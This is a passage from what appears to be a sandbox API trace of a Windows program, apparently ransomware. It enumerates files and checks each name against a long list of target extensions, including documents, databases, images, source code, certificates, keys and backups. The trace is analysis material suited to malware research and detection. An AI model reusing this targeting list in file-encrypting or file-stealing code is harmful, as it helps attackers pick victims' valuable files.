(lpString1=".pdp", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pef") returned 4 [0047.351] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pem") returned 4 [0047.351] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pff") returned 4 [0047.351] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pfm") returned 4 [0047.351] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pfx") returned 4 [0047.351] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0047.352] lstrlenW (lpString=".pgm") returned 4 [0047.352] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0047.352] lstrlenW (lpString=".php") returned 4 [0047.352] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0047.352] lstrlenW (lpString=".php3") returned 5 [0047.352] lstrcmpiW (lpString1=".php3", lpString2="0.dll") returned -1 [0047.352] lstrlenW (lpString=".php4") returned 5 [0047.352] lstrcmpiW (lpString1=".php4", lpString2="0.dll") returned -1 [0047.352] lstrlenW (lpString=".php5") returned 5 [0047.352] lstrcmpiW (lpString1=".php5", lpString2="0.dll") returned -1 [0047.352] lstrlenW (lpString=".phtml") returned 6 [0047.352] lstrcmpiW (lpString1=".phtml", lpString2="20.dll") returned -1 [0047.352] lstrlenW (lpString=".pict") returned 5 [0047.352] lstrcmpiW (lpString1=".pict", lpString2="0.dll") returned -1 [0047.352] lstrlenW (lpString=".pl") returned 3 [0047.352] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0047.352] lstrlenW (lpString=".pls") returned 4 [0047.352] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0047.352] lstrlenW (lpString=".pm") returned 3 [0047.352] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0047.352] lstrlenW (lpString=".png") returned 4 [0047.352] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0047.352] lstrlenW (lpString=".pnm") returned 4 [0047.352] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".pot") returned 4 [0047.353] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".potm") returned 5 [0047.353] lstrcmpiW (lpString1=".potm", lpString2="0.dll") returned -1 [0047.353] lstrlenW (lpString=".potx") returned 5 [0047.353] lstrcmpiW (lpString1=".potx", lpString2="0.dll") returned -1 [0047.353] lstrlenW (lpString=".ppa") returned 4 [0047.353] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".ppam") returned 5 [0047.353] lstrcmpiW (lpString1=".ppam", lpString2="0.dll") returned -1 [0047.353] lstrlenW (lpString=".ppm") returned 4 [0047.353] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".pps") returned 4 [0047.353] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".ppsm") returned 5 [0047.353] lstrcmpiW (lpString1=".ppsm", lpString2="0.dll") returned -1 [0047.353] lstrlenW (lpString=".ppt") returned 4 [0047.353] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".pptm") returned 5 [0047.353] lstrcmpiW (lpString1=".pptm", lpString2="0.dll") returned -1 [0047.353] lstrlenW (lpString=".pptx") returned 5 [0047.353] lstrcmpiW (lpString1=".pptx", lpString2="0.dll") returned -1 [0047.353] lstrlenW (lpString=".prn") returned 4 [0047.353] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0047.353] lstrlenW (lpString=".ps") returned 3 [0047.353] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0047.354] lstrlenW (lpString=".psb") returned 4 [0047.354] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".psd") returned 4 [0047.354] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".pst") returned 4 [0047.354] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".ptx") returned 4 [0047.354] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".pub") returned 4 [0047.354] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".pwm") returned 4 [0047.354] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".pxr") returned 4 [0047.354] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0047.354] lstrlenW (lpString=".py") returned 3 [0047.354] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0047.354] lstrlenW (lpString=".qt") returned 3 [0047.354] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0047.354] lstrlenW (lpString=".r3d") returned 4 [0047.354] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0047.355] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0047.355] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0047.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f75880 | out: hHeap=0x5c0000) returned 1 [0047.355] FindNextFileW (in: hFindFile=0x6b42a8, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0049.625] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.696] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0049.696] lstrlenW (lpString="Bears.htm") returned 9 [0049.697] lstrlenW (lpString=".1cd") returned 4 [0049.697] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.697] lstrlenW (lpString=".3ds") returned 4 [0049.697] lstrcmpiW (lpString1=".3ds", lpString2=".htm") returned -1 [0049.697] lstrlenW (lpString=".3fr") returned 4 [0049.697] lstrcmpiW (lpString1=".3fr", lpString2=".htm") returned -1 [0049.697] lstrlenW (lpString=".3g2") returned 4 [0049.697] lstrcmpiW (lpString1=".3g2", lpString2=".htm") returned -1 [0049.697] lstrlenW (lpString=".3gp") returned 4 [0049.697] lstrcmpiW (lpString1=".3gp", lpString2=".htm") returned -1 [0049.697] lstrlenW (lpString=".7z") returned 3 [0049.697] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.697] lstrlenW (lpString=".accda") returned 6 [0049.697] lstrcmpiW (lpString1=".accda", lpString2="rs.htm") returned -1 [0049.697] lstrlenW (lpString=".accdb") returned 6 [0049.697] lstrcmpiW (lpString1=".accdb", lpString2="rs.htm") returned -1 [0049.697] lstrlenW (lpString=".accdc") returned 6 [0049.697] lstrcmpiW (lpString1=".accdc", lpString2="rs.htm") returned -1 [0049.697] lstrlenW (lpString=".accde") returned 6 [0049.697] lstrcmpiW (lpString1=".accde", lpString2="rs.htm") returned -1 [0049.698] lstrlenW (lpString=".accdt") returned 6 [0049.698] lstrcmpiW (lpString1=".accdt", lpString2="rs.htm") returned -1 [0049.698] lstrlenW (lpString=".accdw") returned 6 [0049.698] lstrcmpiW (lpString1=".accdw", lpString2="rs.htm") returned -1 [0049.698] lstrlenW (lpString=".adb") returned 4 [0049.698] lstrcmpiW (lpString1=".adb", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".adp") returned 4 [0049.698] lstrcmpiW (lpString1=".adp", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".ai") returned 3 [0049.698] lstrcmpiW (lpString1=".ai", lpString2="htm") returned -1 [0049.698] lstrlenW (lpString=".ai3") returned 4 [0049.698] lstrcmpiW (lpString1=".ai3", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".ai4") returned 4 [0049.698] lstrcmpiW (lpString1=".ai4", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".ai5") returned 4 [0049.698] lstrcmpiW (lpString1=".ai5", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".ai6") returned 4 [0049.698] lstrcmpiW (lpString1=".ai6", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".ai7") returned 4 [0049.698] lstrcmpiW (lpString1=".ai7", lpString2=".htm") returned -1 [0049.698] lstrlenW (lpString=".ai8") returned 4 [0049.698] lstrcmpiW (lpString1=".ai8", lpString2=".htm") returned -1 [0049.699] lstrlenW (lpString=".anim") returned 5 [0049.699] lstrcmpiW (lpString1=".anim", lpString2="s.htm") returned -1 [0049.699] lstrlenW (lpString=".arw") returned 4 [0049.699] lstrcmpiW (lpString1=".arw", lpString2=".htm") returned -1 [0049.699] lstrlenW (lpString=".as") returned 3 [0049.699] lstrcmpiW (lpString1=".as", lpString2="htm") returned -1 [0049.699] lstrlenW (lpString=".asa") returned 4 [0049.699] lstrcmpiW (lpString1=".asa", lpString2=".htm") returned -1 [0049.699] lstrlenW (lpString=".asc") returned 4 [0049.699] lstrcmpiW (lpString1=".asc", lpString2=".htm") returned -1 [0049.699] lstrlenW (lpString=".ascx") returned 5 [0049.699] lstrcmpiW (lpString1=".ascx", lpString2="s.htm") returned -1 [0049.699] lstrlenW (lpString=".asm") returned 4 [0049.699] lstrcmpiW (lpString1=".asm", lpString2=".htm") returned -1 [0049.699] lstrlenW (lpString=".asmx") returned 5 [0049.699] lstrcmpiW (lpString1=".asmx", lpString2="s.htm") returned -1 [0049.699] lstrlenW (lpString=".asp") returned 4 [0049.699] lstrcmpiW (lpString1=".asp", lpString2=".htm") returned -1 [0049.699] lstrlenW (lpString=".aspx") returned 5 [0049.699] lstrcmpiW (lpString1=".aspx", lpString2="s.htm") returned -1 [0049.699] lstrlenW (lpString=".asr") returned 4 [0049.700] lstrcmpiW (lpString1=".asr", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".asx") returned 4 [0049.700] lstrcmpiW (lpString1=".asx", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".avi") returned 4 [0049.700] lstrcmpiW (lpString1=".avi", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".avs") returned 4 [0049.700] lstrcmpiW (lpString1=".avs", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".backup") returned 7 [0049.700] lstrcmpiW (lpString1=".backup", lpString2="ars.htm") returned -1 [0049.700] lstrlenW (lpString=".bak") returned 4 [0049.700] lstrcmpiW (lpString1=".bak", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".bay") returned 4 [0049.700] lstrcmpiW (lpString1=".bay", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".bd") returned 3 [0049.700] lstrcmpiW (lpString1=".bd", lpString2="htm") returned -1 [0049.700] lstrlenW (lpString=".bin") returned 4 [0049.700] lstrcmpiW (lpString1=".bin", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".bmp") returned 4 [0049.700] lstrcmpiW (lpString1=".bmp", lpString2=".htm") returned -1 [0049.700] lstrlenW (lpString=".bz2") returned 4 [0049.700] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".c") returned 2 [0049.701] lstrcmpiW (lpString1=".c", lpString2="tm") returned -1 [0049.701] lstrlenW (lpString=".cdr") returned 4 [0049.701] lstrcmpiW (lpString1=".cdr", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".cer") returned 4 [0049.701] lstrcmpiW (lpString1=".cer", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".cf") returned 3 [0049.701] lstrcmpiW (lpString1=".cf", lpString2="htm") returned -1 [0049.701] lstrlenW (lpString=".cfc") returned 4 [0049.701] lstrcmpiW (lpString1=".cfc", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".cfm") returned 4 [0049.701] lstrcmpiW (lpString1=".cfm", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".cfml") returned 5 [0049.701] lstrcmpiW (lpString1=".cfml", lpString2="s.htm") returned -1 [0049.701] lstrlenW (lpString=".cfu") returned 4 [0049.701] lstrcmpiW (lpString1=".cfu", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".chm") returned 4 [0049.701] lstrcmpiW (lpString1=".chm", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".cin") returned 4 [0049.701] lstrcmpiW (lpString1=".cin", lpString2=".htm") returned -1 [0049.701] lstrlenW (lpString=".class") returned 6 [0049.701] lstrcmpiW (lpString1=".class", lpString2="rs.htm") returned -1 [0049.701] lstrlenW (lpString=".clx") returned 4 [0049.701] lstrcmpiW (lpString1=".clx", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".config") returned 7 [0049.702] lstrcmpiW (lpString1=".config", lpString2="ars.htm") returned -1 [0049.702] lstrlenW (lpString=".cpp") returned 4 [0049.702] lstrcmpiW (lpString1=".cpp", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".cr2") returned 4 [0049.702] lstrcmpiW (lpString1=".cr2", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".crt") returned 4 [0049.702] lstrcmpiW (lpString1=".crt", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".crw") returned 4 [0049.702] lstrcmpiW (lpString1=".crw", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".cs") returned 3 [0049.702] lstrcmpiW (lpString1=".cs", lpString2="htm") returned -1 [0049.702] lstrlenW (lpString=".css") returned 4 [0049.702] lstrcmpiW (lpString1=".css", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".csv") returned 4 [0049.702] lstrcmpiW (lpString1=".csv", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".cub") returned 4 [0049.702] lstrcmpiW (lpString1=".cub", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".dae") returned 4 [0049.702] lstrcmpiW (lpString1=".dae", lpString2=".htm") returned -1 [0049.702] lstrlenW (lpString=".dat") returned 4 [0049.703] lstrcmpiW (lpString1=".dat", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".db") returned 3 [0049.703] lstrcmpiW (lpString1=".db", lpString2="htm") returned -1 [0049.703] lstrlenW (lpString=".dbf") returned 4 [0049.703] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dbx") returned 4 [0049.703] lstrcmpiW (lpString1=".dbx", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dc3") returned 4 [0049.703] lstrcmpiW (lpString1=".dc3", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dcm") returned 4 [0049.703] lstrcmpiW (lpString1=".dcm", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dcr") returned 4 [0049.703] lstrcmpiW (lpString1=".dcr", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".der") returned 4 [0049.703] lstrcmpiW (lpString1=".der", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dib") returned 4 [0049.703] lstrcmpiW (lpString1=".dib", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dic") returned 4 [0049.703] lstrcmpiW (lpString1=".dic", lpString2=".htm") returned -1 [0049.703] lstrlenW (lpString=".dif") returned 4 [0049.703] lstrcmpiW (lpString1=".dif", lpString2=".htm") returned -1 [0049.704] lstrlenW (lpString=".divx") returned 5 [0049.704] lstrcmpiW (lpString1=".divx", lpString2="s.htm") returned -1 [0049.704] lstrlenW (lpString=".djvu") returned 5 [0049.704] lstrcmpiW (lpString1=".djvu", lpString2="s.htm") returned -1 [0049.704] lstrlenW (lpString=".dng") returned 4 [0049.704] lstrcmpiW (lpString1=".dng", lpString2=".htm") returned -1 [0049.704] lstrlenW (lpString=".doc") returned 4 [0049.704] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.704] lstrlenW (lpString=".docm") returned 5 [0049.704] lstrcmpiW (lpString1=".docm", lpString2="s.htm") returned -1 [0049.704] lstrlenW (lpString=".docx") returned 5 [0049.704] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0049.704] lstrlenW (lpString=".dot") returned 4 [0049.704] lstrcmpiW (lpString1=".dot", lpString2=".htm") returned -1 [0049.704] lstrlenW (lpString=".dotm") returned 5 [0049.704] lstrcmpiW (lpString1=".dotm", lpString2="s.htm") returned -1 [0049.704] lstrlenW (lpString=".dotx") returned 5 [0049.704] lstrcmpiW (lpString1=".dotx", lpString2="s.htm") returned -1 [0049.704] lstrlenW (lpString=".dpx") returned 4 [0049.704] lstrcmpiW (lpString1=".dpx", lpString2=".htm") returned -1 [0049.704] lstrlenW (lpString=".dqy") returned 4 [0049.704] lstrcmpiW (lpString1=".dqy", lpString2=".htm") returned -1 [0049.704] lstrlenW (lpString=".dsn") returned 4 [0049.704] lstrcmpiW (lpString1=".dsn", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".dt") returned 3 [0049.705] lstrcmpiW (lpString1=".dt", lpString2="htm") returned -1 [0049.705] lstrlenW (lpString=".dtd") returned 4 [0049.705] lstrcmpiW (lpString1=".dtd", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".dwg") returned 4 [0049.705] lstrcmpiW (lpString1=".dwg", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".dwt") returned 4 [0049.705] lstrcmpiW (lpString1=".dwt", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".dx") returned 3 [0049.705] lstrcmpiW (lpString1=".dx", lpString2="htm") returned -1 [0049.705] lstrlenW (lpString=".dxf") returned 4 [0049.705] lstrcmpiW (lpString1=".dxf", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".edml") returned 5 [0049.705] lstrcmpiW (lpString1=".edml", lpString2="s.htm") returned -1 [0049.705] lstrlenW (lpString=".efd") returned 4 [0049.705] lstrcmpiW (lpString1=".efd", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".elf") returned 4 [0049.705] lstrcmpiW (lpString1=".elf", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".emf") returned 4 [0049.705] lstrcmpiW (lpString1=".emf", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".emz") returned 4 [0049.705] lstrcmpiW (lpString1=".emz", lpString2=".htm") returned -1 [0049.705] lstrlenW (lpString=".epf") returned 4 [0049.706] lstrcmpiW (lpString1=".epf", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".eps") returned 4 [0049.706] lstrcmpiW (lpString1=".eps", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".epsf") returned 5 [0049.706] lstrcmpiW (lpString1=".epsf", lpString2="s.htm") returned -1 [0049.706] lstrlenW (lpString=".epsp") returned 5 [0049.706] lstrcmpiW (lpString1=".epsp", lpString2="s.htm") returned -1 [0049.706] lstrlenW (lpString=".erf") returned 4 [0049.706] lstrcmpiW (lpString1=".erf", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".exr") returned 4 [0049.706] lstrcmpiW (lpString1=".exr", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".f4v") returned 4 [0049.706] lstrcmpiW (lpString1=".f4v", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".fido") returned 5 [0049.706] lstrcmpiW (lpString1=".fido", lpString2="s.htm") returned -1 [0049.706] lstrlenW (lpString=".flm") returned 4 [0049.706] lstrcmpiW (lpString1=".flm", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".flv") returned 4 [0049.706] lstrcmpiW (lpString1=".flv", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".frm") returned 4 [0049.706] lstrcmpiW (lpString1=".frm", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".fxg") returned 4 [0049.706] lstrcmpiW (lpString1=".fxg", lpString2=".htm") returned -1 [0049.706] lstrlenW (lpString=".geo") returned 4 [0049.707] lstrcmpiW (lpString1=".geo", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".gif") returned 4 [0049.707] lstrcmpiW (lpString1=".gif", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".grs") returned 4 [0049.707] lstrcmpiW (lpString1=".grs", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".gz") returned 3 [0049.707] lstrcmpiW (lpString1=".gz", lpString2="htm") returned -1 [0049.707] lstrlenW (lpString=".h") returned 2 [0049.707] lstrcmpiW (lpString1=".h", lpString2="tm") returned -1 [0049.707] lstrlenW (lpString=".hdr") returned 4 [0049.707] lstrcmpiW (lpString1=".hdr", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".hpp") returned 4 [0049.707] lstrcmpiW (lpString1=".hpp", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".hta") returned 4 [0049.707] lstrcmpiW (lpString1=".hta", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".htc") returned 4 [0049.707] lstrcmpiW (lpString1=".htc", lpString2=".htm") returned -1 [0049.707] lstrlenW (lpString=".htm") returned 4 [0049.707] lstrcmpiW (lpString1=".htm", lpString2=".htm") returned 0 [0049.707] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0049.707] lstrlenW (lpString="Bears.jpg") returned 9 [0049.707] lstrlenW (lpString=".1cd") returned 4 [0049.708] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0049.708] lstrlenW (lpString=".3ds") returned 4 [0049.708] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0049.708] lstrlenW (lpString=".3fr") returned 4 [0049.708] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0049.708] lstrlenW (lpString=".3g2") returned 4 [0049.708] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0049.708] lstrlenW (lpString=".3gp") returned 4 [0049.708] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0049.708] lstrlenW (lpString=".7z") returned 3 [0049.708] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0049.708] lstrlenW (lpString=".accda") returned 6 [0049.708] lstrcmpiW (lpString1=".accda", lpString2="rs.jpg") returned -1 [0049.708] lstrlenW (lpString=".accdb") returned 6 [0049.708] lstrcmpiW (lpString1=".accdb", lpString2="rs.jpg") returned -1 [0049.708] lstrlenW (lpString=".accdc") returned 6 [0049.708] lstrcmpiW (lpString1=".accdc", lpString2="rs.jpg") returned -1 [0049.708] lstrlenW (lpString=".accde") returned 6 [0049.708] lstrcmpiW (lpString1=".accde", lpString2="rs.jpg") returned -1 [0049.708] lstrlenW (lpString=".accdt") returned 6 [0049.708] lstrcmpiW (lpString1=".accdt", lpString2="rs.jpg") returned -1 [0049.708] lstrlenW (lpString=".accdw") returned 6 [0049.709] lstrcmpiW (lpString1=".accdw", lpString2="rs.jpg") returned -1 [0049.709] lstrlenW (lpString=".adb") returned 4 [0049.709] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".adp") returned 4 [0049.709] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".ai") returned 3 [0049.709] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0049.709] lstrlenW (lpString=".ai3") returned 4 [0049.709] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".ai4") returned 4 [0049.709] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".ai5") returned 4 [0049.709] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".ai6") returned 4 [0049.709] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".ai7") returned 4 [0049.709] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".ai8") returned 4 [0049.709] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0049.709] lstrlenW (lpString=".anim") returned 5 [0049.709] lstrcmpiW (lpString1=".anim", lpString2="s.jpg") returned -1 [0049.709] lstrlenW (lpString=".arw") returned 4 [0049.709] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".as") returned 3 [0049.710] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0049.710] lstrlenW (lpString=".asa") returned 4 [0049.710] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".asc") returned 4 [0049.710] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".ascx") returned 5 [0049.710] lstrcmpiW (lpString1=".ascx", lpString2="s.jpg") returned -1 [0049.710] lstrlenW (lpString=".asm") returned 4 [0049.710] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".asmx") returned 5 [0049.710] lstrcmpiW (lpString1=".asmx", lpString2="s.jpg") returned -1 [0049.710] lstrlenW (lpString=".asp") returned 4 [0049.710] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".aspx") returned 5 [0049.710] lstrcmpiW (lpString1=".aspx", lpString2="s.jpg") returned -1 [0049.710] lstrlenW (lpString=".asr") returned 4 [0049.710] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".asx") returned 4 [0049.710] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0049.710] lstrlenW (lpString=".avi") returned 4 [0049.710] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".avs") returned 4 [0049.711] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".backup") returned 7 [0049.711] lstrcmpiW (lpString1=".backup", lpString2="ars.jpg") returned -1 [0049.711] lstrlenW (lpString=".bak") returned 4 [0049.711] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".bay") returned 4 [0049.711] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".bd") returned 3 [0049.711] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0049.711] lstrlenW (lpString=".bin") returned 4 [0049.711] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".bmp") returned 4 [0049.711] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".bz2") returned 4 [0049.711] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0049.711] lstrlenW (lpString=".c") returned 2 [0049.711] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 